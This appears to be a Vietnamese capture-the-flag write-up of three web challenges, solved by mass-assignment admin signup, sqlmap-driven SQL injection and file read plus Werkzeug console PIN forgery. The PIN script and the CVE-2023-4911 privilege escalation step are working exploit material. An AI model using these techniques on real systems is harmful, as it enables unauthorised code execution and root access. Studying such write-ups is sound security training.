# Low-effor SNS Bài này có thể sign up với user với role là "admin". Gửi một request POST đến /signup: ```jsonld= { "bio":"test", "username":"test", "password":"test", "secret":"test", "role":"admin" } ``` Sau khi login thì ta có được một jwt token với role admin. Sau đó gửi request đến GET /secret/1 để lấy flag: ![image](https://hackmd.io/_uploads/Byr8qUWi1g.png) # Ezzz Bài này có lỗi SQL Injection tại param `key` trong `/sort`. Cách verify là thêm dấu `'` vào title. Param này sẽ ORDER BY theo số cột lấy từ `key` nên trước khi chạy sqlmap ta cần thêm một số data đầu vào trước để nhận biết được sự khác biệt giữa các output. ```bash= sqlmap -u "http://10.8.0.1:32922/sort?key=1" --cookie='session=eyJ1c2VyX3Nlc3Npb24iOiI4NzU4M2QzNy0wYmVmLTQ1NTUtYTU4NC1hMmU1MzY5NTdlMzAifQ.Z8Mk1g.oQlpVzAz_qxoeFsji892X1AOs8E' \ -p 'key' -batch --dbms=SQLite --dump --level 5 --threads=3 BKSEC{B00l34n_4nd_3rr0r_B4s3d_SQLi_4r3_P0w3rfu1_Techniqueslsb62DWwrDP1L8CM} ``` # News Bài này có lỗi LFI ở param `file` trong `/logo`. Ta có thể đọc được một file bất kỳ trong hệ thống với quyền user. Để ý server sử dụng Werkzeug 3.0.0 có lỗi RCE trong console, nên ta sẽ tìm cách để reverse được mã PIN trong path `/console`. Đọc file `/debug/__init__.py` trong hệ thống để tìm cách đảo ngược được mã PIN. Ta viết một script như sau: ```python #!/bin/python3 import hashlib from itertools import chain probably_public_bits = [ 'urmother',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '99756733277388',# str(uuid.getnode()), /sys/class/net/eth0/address # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup 'c74d3e7c-8af2-4c0c-bae3-b0e14423df90' ] h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5 for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print("Pin: " + rv) ``` Sau khi đã có RCE trên máy thì cần leo quyền để vào được root. Nhờ vào gợi ý của admin và trong file Dockerfile có tải về phiên bản `libc 2.35-0ubuntu3.3`, `glibc` cũng sẽ được tải về với phiên bản tương ứng. Ta tìm được một CVE có nói về phiên bản này [CVE-2023-4911](https://github.com/NishanthAnand21/CVE-2023-4911-PoC) cho phép lợi dụng lỗi Buffer Overflow để leo quyền. Tải đoạn github repo về và make để leo quyền và đọc flag. ```